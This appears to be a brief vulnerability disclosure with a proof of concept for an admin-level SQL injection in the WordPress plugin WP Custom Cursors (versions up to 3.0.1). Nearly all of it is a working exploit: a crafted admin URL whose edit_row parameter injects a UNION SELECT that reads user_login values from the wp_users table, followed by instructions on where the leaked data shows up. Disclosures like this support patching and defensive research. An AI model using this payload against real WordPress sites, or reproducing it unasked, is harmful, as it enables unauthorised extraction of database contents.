WP Custom Cursors <= 3.0.1 - Admin+ SQLi

As admin, open https://example.com/wp-admin/admin.php?page=wpcc_add_new&edit_row=-1+UNION+select+1,1,1,1,user_login,1,1,1,1,1,1,1,1,1,1,1+from+wp_users

Select “Text Cursor”, and the user's name will be in the input field